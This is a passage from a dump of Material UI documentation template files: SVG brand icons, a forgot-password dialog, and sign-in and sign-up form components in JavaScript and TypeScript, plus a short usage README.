.67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function FacebookIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M6.68 15.92C2.88 15.24 0 11.96 0 8C0 3.6 3.6 0 8 0C12.4 0 16 3.6 16 8C16 11.96 13.12 15.24 9.32 15.92L8.88 15.56H7.12L6.68 15.92Z\"\n          fill=\"url(#paint0_linear_795_116)\"\n        />\n        <path\n          d=\"M11.12 10.2391L11.48 7.99914H9.36V6.43914C9.36 5.79914 9.6 5.31914 10.56 5.31914H11.6V3.27914C11.04 3.19914 10.4 3.11914 9.84 3.11914C8 3.11914 6.72 4.23914 6.72 6.23914V7.99914H4.72V10.2391H6.72V15.8791C7.16 15.9591 7.6 15.9991 8.04 15.9991C8.48 15.9991 8.92 15.9591 9.36 15.8791V10.2391H11.12Z\"\n          fill=\"white\"\n        />\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_795_116\"\n            x1=\"8\"\n            y1=\"0\"\n            x2=\"8\"\n            y2=\"15.9991\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#1AAFFF\" />\n            <stop offset=\"1\" stopColor=\"#0163E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GoogleIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M15.68 8.18182C15.68 7.61455 15.6291 7.06909 15.5345 6.54545H8V9.64364H12.3055C12.1164 10.64 11.5491 11.4836 10.6982 12.0509V14.0655H13.2945C14.8073 12.6691 15.68 10.6182 15.68 8.18182Z\"\n          fill=\"#4285F4\"\n        />\n        <path\n          d=\"M8 16C10.16 16 11.9709 15.2873 13.2945 14.0655L10.6982 12.0509C9.98545 12.5309 9.07636 12.8218 8 12.8218C5.92 12.8218 4.15273 11.4182 3.52 9.52727H0.858182V11.5927C2.17455 14.2036 4.87273 16 8 16Z\"\n          fill=\"#34A853\"\n        />\n        <path\n          d=\"M3.52 9.52C3.36 9.04 3.26545 8.53091 3.26545 8C3.26545 7.46909 3.36 6.96 3.52 6.48V4.41455H0.858182C0.312727 5.49091 0 6.70545 0 8C0 9.29455 0.312727 10.5091 0.858182 11.5855L2.93091 9.97091L3.52 9.52Z\"\n          fill=\"#FBBC05\"\n        />\n        <path\n          d=\"M8 3.18545C9.17818 3.18545 10.2255 3.59273 11.0618 4.37818L13.3527 2.08727C11.9636 0.792727 10.16 0 8 0C4.87273 0 2.17455 1.79636 0.858182 4.41455L3.52 6.48C4.15273 4.58909 5.92 3.18545 8 3.18545Z\"\n          fill=\"#EA4335\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/ForgotPassword.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n\nfunction ForgotPassword({ open, handleClose }) {\n  return (\n    <Dialog\n      open={open}\n      onClose={handleClose}\n      slotProps={{\n        paper: {\n          component: 'form',\n          onSubmit: (event) => {\n            event.preventDefault();\n            handleClose();\n          },\n          sx: { backgroundImage: 'none' },\n        },\n      }}\n    >\n      <DialogTitle>Reset password</DialogTitle>\n      <DialogContent\n        sx={{ display: 'flex', flexDirection: 'column', gap: 2, width: '100%' }}\n      >\n        <DialogContentText>\n          Enter your account&apos;s email address, and we&apos;ll send you a link to\n          reset your password.\n        </DialogContentText>\n        <OutlinedInput\n          autoFocus\n          required\n          margin=\"dense\"\n          id=\"email\"\n          name=\"email\"\n          label=\"Email address\"\n          placeholder=\"Email address\"\n          type=\"email\"\n          fullWidth\n        />\n      </DialogContent>\n      <DialogActions sx={{ pb: 3, px: 3 }}>\n        <Button onClick={handleClose}>Cancel</Button>\n        <Button variant=\"contained\" type=\"submit\">\n          Continue\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n\nForgotPassword.propTypes = {\n  handleClose: PropTypes.func.isRequired,\n  open: PropTypes.bool.isRequired,\n};\n\nexport default ForgotPassword;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/ForgotPassword.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport OutlinedInput from '@mui/material/OutlinedInput';\n\ninterface ForgotPasswordProps {\n  open: boolean;\n  handleClose: () => void;\n}\n\nexport default function ForgotPassword({ open, handleClose }: ForgotPasswordProps) {\n  return (\n    <Dialog\n      open={open}\n      onClose={handleClose}\n      slotProps={{\n        paper: {\n          component: 'form',\n          onSubmit: (event: React.SubmitEvent<HTMLFormElement>) => {\n            event.preventDefault();\n            handleClose();\n          },\n          sx: { backgroundImage: 'none' },\n        },\n      }}\n    >\n      <DialogTitle>Reset password</DialogTitle>\n      <DialogContent\n        sx={{ display: 'flex', flexDirection: 'column', gap: 2, width: '100%' }}\n      >\n        <DialogContentText>\n          Enter your account&apos;s email address, and we&apos;ll send you a link to\n          reset your password.\n        </DialogContentText>\n        <OutlinedInput\n          autoFocus\n          required\n          margin=\"dense\"\n          id=\"email\"\n          name=\"email\"\n          label=\"Email address\"\n          placeholder=\"Email address\"\n          type=\"email\"\n          fullWidth\n        />\n      </DialogContent>\n      <DialogActions sx={{ pb: 3, px: 3 }}>\n        <Button onClick={handleClose}>Cancel</Button>\n        <Button variant=\"contained\" type=\"submit\">\n          Continue\n        </Button>\n      </DialogActions>\n    </Dialog>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/SignInCard.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport MuiCard from '@mui/material/Card';\nimport Checkbox from '@mui/material/Checkbox';\nimport Divider from '@mui/material/Divider';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Link from '@mui/material/Link';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport ForgotPassword from './ForgotPassword';\nimport { GoogleIcon, FacebookIcon, SitemarkIcon } from './CustomIcons';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  alignSelf: 'center',\n  width: '100%',\n  padding: theme.spacing(4),\n  gap: theme.spacing(2),\n  boxShadow:\n    'hsla(220, 30%, 5%, 0.05) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.05) 0px 15px 35px -5px',\n  [theme.breakpoints.up('sm')]: {\n    width: '450px',\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow:\n      'hsla(220, 30%, 5%, 0.5) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.08) 0px 15px 35px -5px',\n  }),\n}));\n\nexport default function SignInCard() {\n  const [emailError, setEmailError] = React.useState(false);\n  const [emailErrorMessage, setEmailErrorMessage] = React.useState('');\n  const [passwordError, setPasswordError] = React.useState(false);\n  const [passwordErrorMessage, setPasswordErrorMessage] = React.useState('');\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleSubmit = (event) => {\n    if (emailError || passwordError) {\n      event.preventDefault();\n      return;\n    }\n    const data = new FormData(event.currentTarget);\n    console.log({\n      email: data.get('email'),\n      password: data.get('password'),\n    });\n  };\n\n  const validateInputs = () => {\n    const email = document.getElementById('email');\n    const password = document.getElementById('password');\n\n    let isValid = true;\n\n    if (!email.value || !/\\S+@\\S+\\.\\S+/.test(email.value)) {\n      setEmailError(true);\n      setEmailErrorMessage('Please enter a valid email address.');\n      isValid = false;\n    } else {\n      setEmailError(false);\n      setEmailErrorMessage('');\n    }\n\n    if (!password.value || password.value.length < 6) {\n      setPasswordError(true);\n      setPasswordErrorMessage('Password must be at least 6 characters long.');\n      isValid = false;\n    } else {\n      setPasswordError(false);\n      setPasswordErrorMessage('');\n    }\n\n    return isValid;\n  };\n\n  return (\n    <Card variant=\"outlined\">\n      <Box sx={{ display: { xs: 'flex', md: 'none' } }}>\n        <SitemarkIcon />\n      </Box>\n      <Typography\n        component=\"h1\"\n        variant=\"h4\"\n        sx={{ width: '100%', fontSize: 'clamp(2rem, 10vw, 2.15rem)' }}\n      >\n        Sign in\n      </Typography>\n      <Box\n        component=\"form\"\n        onSubmit={handleSubmit}\n        noValidate\n        sx={{ display: 'flex', flexDirection: 'column', width: '100%', gap: 2 }}\n      >\n        <FormControl>\n          <FormLabel htmlFor=\"email\">Email</FormLabel>\n          <TextField\n            error={emailError}\n            helperText={emailErrorMessage}\n            id=\"email\"\n            type=\"email\"\n            name=\"email\"\n            placeholder=\"your@email.com\"\n            autoComplete=\"email\"\n            autoFocus\n            required\n            fullWidth\n            variant=\"outlined\"\n            color={emailError ? 'error' : 'primary'}\n          />\n        </FormControl>\n        <FormControl>\n          <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n            <FormLabel htmlFor=\"password\">Password</FormLabel>\n            <Link\n              component=\"button\"\n              type=\"button\"\n              onClick={handleClickOpen}\n              variant=\"body2\"\n              sx={{ alignSelf: 'baseline' }}\n            >\n              Forgot your password?\n            </Link>\n          </Box>\n          <TextField\n            error={passwordError}\n            helperText={passwordErrorMessage}\n            name=\"password\"\n            placeholder=\"••••••\"\n            type=\"password\"\n            id=\"password\"\n            autoComplete=\"current-password\"\n            autoFocus\n            required\n            fullWidth\n            variant=\"outlined\"\n            color={passwordError ? 'error' : 'primary'}\n          />\n        </FormControl>\n        <FormControlLabel\n          control={<Checkbox value=\"remember\" color=\"primary\" />}\n          label=\"Remember me\"\n        />\n        <ForgotPassword open={open} handleClose={handleClose} />\n        <Button type=\"submit\" fullWidth variant=\"contained\" onClick={validateInputs}>\n          Sign in\n        </Button>\n        <Typography sx={{ textAlign: 'center' }}>\n          Don&apos;t have an account?{' '}\n          <span>\n            <Link\n              href=\"/material-ui/getting-started/templates/sign-in/\"\n              variant=\"body2\"\n              sx={{ alignSelf: 'center' }}\n            >\n              Sign up\n            </Link>\n          </span>\n        </Typography>\n      </Box>\n      <Divider>or</Divider>\n      <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n        <Button\n          fullWidth\n          variant=\"outlined\"\n          onClick={() => alert('Sign in with Google')}\n          startIcon={<GoogleIcon />}\n        >\n          Sign in with Google\n        </Button>\n        <Button\n          fullWidth\n          variant=\"outlined\"\n          onClick={() => alert('Sign in with Facebook')}\n          startIcon={<FacebookIcon />}\n        >\n          Sign in with Facebook\n        </Button>\n      </Box>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in-side/components/SignInCard.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport MuiCard from '@mui/material/Card';\nimport Checkbox from '@mui/material/Checkbox';\nimport Divider from '@mui/material/Divider';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Link from '@mui/material/Link';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport ForgotPassword from './ForgotPassword';\nimport { GoogleIcon, FacebookIcon, SitemarkIcon } from './CustomIcons';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  alignSelf: 'center',\n  width: '100%',\n  padding: theme.spacing(4),\n  gap: theme.spacing(2),\n  boxShadow:\n    'hsla(220, 30%, 5%, 0.05) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.05) 0px 15px 35px -5px',\n  [theme.breakpoints.up('sm')]: {\n    width: '450px',\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow:\n      'hsla(220, 30%, 5%, 0.5) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.08) 0px 15px 35px -5px',\n  }),\n}));\n\nexport default function SignInCard() {\n  const [emailError, setEmailError] = React.useState(false);\n  const [emailErrorMessage, setEmailErrorMessage] = React.useState('');\n  const [passwordError, setPasswordError] = React.useState(false);\n  const [passwordErrorMessage, setPasswordErrorMessage] = React.useState('');\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    if (emailError || passwordError) {\n      event.preventDefault();\n      return;\n    }\n    const data = new FormData(event.currentTarget);\n    console.log({\n      email: data.get('email'),\n      password: data.get('password'),\n    });\n  };\n\n  const validateInputs = () => {\n    const email = document.getElementById('email') as HTMLInputElement;\n    const password = document.getElementById('password') as HTMLInputElement;\n\n    let isValid = true;\n\n    if (!email.value || !/\\S+@\\S+\\.\\S+/.test(email.value)) {\n      setEmailError(true);\n      setEmailErrorMessage('Please enter a valid email address.');\n      isValid = false;\n    } else {\n      setEmailError(false);\n      setEmailErrorMessage('');\n    }\n\n    if (!password.value || password.value.length < 6) {\n      setPasswordError(true);\n      setPasswordErrorMessage('Password must be at least 6 characters long.');\n      isValid = false;\n    } else {\n      setPasswordError(false);\n      setPasswordErrorMessage('');\n    }\n\n    return isValid;\n  };\n\n  return (\n    <Card variant=\"outlined\">\n      <Box sx={{ display: { xs: 'flex', md: 'none' } }}>\n        <SitemarkIcon />\n      </Box>\n      <Typography\n        component=\"h1\"\n        variant=\"h4\"\n        sx={{ width: '100%', fontSize: 'clamp(2rem, 10vw, 2.15rem)' }}\n      >\n        Sign in\n      </Typography>\n      <Box\n        component=\"form\"\n        onSubmit={handleSubmit}\n        noValidate\n        sx={{ display: 'flex', flexDirection: 'column', width: '100%', gap: 2 }}\n      >\n        <FormControl>\n          <FormLabel htmlFor=\"email\">Email</FormLabel>\n          <TextField\n            error={emailError}\n            helperText={emailErrorMessage}\n            id=\"email\"\n            type=\"email\"\n            name=\"email\"\n            placeholder=\"your@email.com\"\n            autoComplete=\"email\"\n            autoFocus\n            required\n            fullWidth\n            variant=\"outlined\"\n            color={emailError ? 'error' : 'primary'}\n          />\n        </FormControl>\n        <FormControl>\n          <Box sx={{ display: 'flex', justifyContent: 'space-between' }}>\n            <FormLabel htmlFor=\"password\">Password</FormLabel>\n            <Link\n              component=\"button\"\n              type=\"button\"\n              onClick={handleClickOpen}\n              variant=\"body2\"\n              sx={{ alignSelf: 'baseline' }}\n            >\n              Forgot your password?\n            </Link>\n          </Box>\n          <TextField\n            error={passwordError}\n            helperText={passwordErrorMessage}\n            name=\"password\"\n            placeholder=\"••••••\"\n            type=\"password\"\n            id=\"password\"\n            autoComplete=\"current-password\"\n            autoFocus\n            required\n            fullWidth\n            variant=\"outlined\"\n            color={passwordError ? 'error' : 'primary'}\n          />\n        </FormControl>\n        <FormControlLabel\n          control={<Checkbox value=\"remember\" color=\"primary\" />}\n          label=\"Remember me\"\n        />\n        <ForgotPassword open={open} handleClose={handleClose} />\n        <Button type=\"submit\" fullWidth variant=\"contained\" onClick={validateInputs}>\n          Sign in\n        </Button>\n        <Typography sx={{ textAlign: 'center' }}>\n          Don&apos;t have an account?{' '}\n          <span>\n            <Link\n              href=\"/material-ui/getting-started/templates/sign-in/\"\n              variant=\"body2\"\n              sx={{ alignSelf: 'center' }}\n            >\n              Sign up\n            </Link>\n          </span>\n        </Typography>\n      </Box>\n      <Divider>or</Divider>\n      <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n        <Button\n          fullWidth\n          variant=\"outlined\"\n          onClick={() => alert('Sign in with Google')}\n          startIcon={<GoogleIcon />}\n        >\n          Sign in with Google\n        </Button>\n        <Button\n          fullWidth\n          variant=\"outlined\"\n          onClick={() => alert('Sign in with Facebook')}\n          startIcon={<FacebookIcon />}\n        >\n          Sign in with Facebook\n        </Button>\n      </Box>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-up/README.md",
    "content": "# Sign-up template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`sign-up` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.\n3. Import and use the `SignUp` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/sign-up/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-up/SignUp.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport Link from '@mui/material/Link';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport MuiCard from '@mui/material/Card';\nimport { styled } from '@mui/material/styles';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeSelect from '../shared-theme/ColorModeSelect';\nimport { GoogleIcon, FacebookIcon, SitemarkIcon } from './components/CustomIcons';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  alignSelf: 'center',\n  width: '100%',\n  padding: theme.spacing(4),\n  gap: theme.spacing(2),\n  margin: 'auto',\n  boxShadow:\n    'hsla(220, 30%, 5%, 0.05) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.05) 0px 15px 35px -5px',\n  [theme.breakpoints.up('sm')]: {\n    width: '450px',\n  },\n  ...theme.applyStyles('dark', {\n    boxShadow:\n      'hsla(220, 30%, 5%, 0.5) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.08) 0px 15px 35px -5px',\n  }),\n}));\n\nconst SignUpContainer = styled(Stack)(({ theme }) => ({\n  height: 'calc((1 - var(--template-frame-height, 0)) * 100dvh)',\n  minHeight: '100%',\n  padding: theme.spacing(2),\n  [theme.breakpoints.up('sm')]: {\n    padding: theme.spacing(4),\n  },\n  '&::before': {\n    content: '\"\"',\n    display: 'block',\n    position: 'absolute',\n    zIndex: -1,\n    inset: 0,\n    backgroundImage:\n      'radial-gradient(ellipse at 50% 50%, hsl(210, 100%, 97%), hsl(0, 0%, 100%))',\n    backgroundRepeat: 'no-repeat',\n    ...theme.applyStyles('dark', {\n      backgroundImage:\n        'radial-gradient(at 50% 50%, hsla(210, 100%, 16%, 0.5), hsl(220, 30%, 5%))',\n    }),\n  },\n}));\n\nexport default function SignUp(props) {\n  const [emailError, setEmailError] = React.useState(false);\n  const [emailErrorMessage, setEmailErrorMessage] = React.useState('');\n  const [passwordError, setPasswordError] = React.useState(false);\n  const [passwordErrorMessage, setPasswordErrorMessage] = React.useState('');\n  const [nameError, setNameError] = React.useState(false);\n  const [nameErrorMessage, setNameErrorMessage] = React.useState('');\n\n  const validateInputs = () => {\n    const email = document.getElementById('email');\n    const password = document.getElementById('password');\n    const name = document.getElementById('name');\n\n    let isValid = true;\n\n    if (!email.value || !/\\S+@\\S+\\.\\S+/.test(email.value)) {\n      setEmailError(true);\n      setEmailErrorMessage('Please enter a valid email address.');\n      isValid = false;\n    } else {\n      setEmailError(false);\n      setEmailErrorMessage('');\n    }\n\n    if (!password.value || password.value.length < 6) {\n      setPasswordError(true);\n      setPasswordErrorMessage('Password must be at least 6 characters long.');\n      isValid = false;\n    } else {\n      setPasswordError(false);\n      setPasswordErrorMessage('');\n    }\n\n    if (!name.value || name.value.length < 1) {\n      setNameError(true);\n      setNameErrorMessage('Name is required.');\n      isValid = false;\n    } else {\n      setNameError(false);\n      setNameErrorMessage('');\n    }\n\n    return isValid;\n  };\n\n  const handleSubmit = (event) => {\n    if (nameError || emailError || passwordError) {\n      event.preventDefault();\n      return;\n    }\n    const data = new FormData(event.currentTarget);\n    console.log({\n      name: data.get('name'),\n      lastName: data.get('lastName'),\n      email: data.get('email'),\n      password: data.get('password'),\n    });\n  };\n\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <ColorModeSelect sx={{ position: 'fixed', top: '1rem', right: '1rem' }} />\n      <SignUpContainer direction=\"column\" sx={{ justifyContent: 'space-between' }}>\n        <Card variant=\"outlined\">\n          <SitemarkIcon />\n          <Typography\n            component=\"h1\"\n            variant=\"h4\"\n            sx={{ width: '100%', fontSize: 'clamp(2rem, 10vw, 2.15rem)' }}\n          >\n            Sign up\n          </Typography>\n          <Box\n            component=\"form\"\n            onSubmit={handleSubmit}\n            sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}\n          >\n            <FormControl>\n              <FormLabel htmlFor=\"name\">Full name</FormLabel>\n              <TextField\n                autoComplete=\"name\"\n                name=\"name\"\n                required\n                fullWidth\n                id=\"name\"\n                placeholder=\"Jon Snow\"\n                error={nameError}\n                helperText={nameErrorMessage}\n                color={nameError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControl>\n              <FormLabel htmlFor=\"email\">Email</FormLabel>\n              <TextField\n                required\n                fullWidth\n                id=\"email\"\n                placeholder=\"your@email.com\"\n                name=\"email\"\n                autoComplete=\"email\"\n                variant=\"outlined\"\n                error={emailError}\n                helperText={emailErrorMessage}\n                color={passwordError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControl>\n              <FormLabel htmlFor=\"password\">Password</FormLabel>\n              <TextField\n                required\n                fullWidth\n                name=\"password\"\n                placeholder=\"••••••\"\n                type=\"password\"\n                id=\"password\"\n                autoComplete=\"new-password\"\n                variant=\"outlined\"\n                error={passwordError}\n                helperText={passwordErrorMessage}\n                color={passwordError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControlLabel\n              control={<Checkbox value=\"allowExtraEmails\" color=\"primary\" />}\n              label=\"I want to receive updates via email.\"\n            />\n            <Button\n              type=\"submit\"\n              fullWidth\n              variant=\"contained\"\n              onClick={validateInputs}\n            >\n              Sign up\n            </Button>\n          </Box>\n          <Divider>\n            <Typography sx={{ color: 'text.secondary' }}>or</Typography>\n          </Divider>\n          <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign up with Google')}\n              startIcon={<GoogleIcon />}\n            >\n              Sign up with Google\n            </Button>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign up with Facebook')}\n              startIcon={<FacebookIcon />}\n            >\n              Sign up with Facebook\n            </Button>\n            <Typography sx={{ textAlign: 'center' }}>\n              Already have an account?{' '}\n              <Link\n                href=\"/material-ui/getting-started/templates/sign-in/\"\n                variant=\"body2\"\n                sx={{ alignSelf: 'center' }}\n              >\n                Sign in\n              </Link>\n            </Typography>\n          </Box>\n        </Card>\n      </SignUpContainer>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-up/SignUp.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Divider from '@mui/material/Divider';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport Link from '@mui/material/Link';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport MuiCard from '@mui/material/Card';\nimport { styled } from '@mui/material/styles';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeSelect from '../shared-theme/ColorModeSelect';\nimport { GoogleIcon, FacebookIcon, SitemarkIcon } from './components/CustomIcons';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  alignSelf: 'center',\n  width: '100%',\n  padding: theme.spacing(4),\n  gap: theme.spacing(2),\n  margin: 'auto',\n  boxShadow:\n    'hsla(220, 30%, 5%, 0.05) 0px 5px 15px 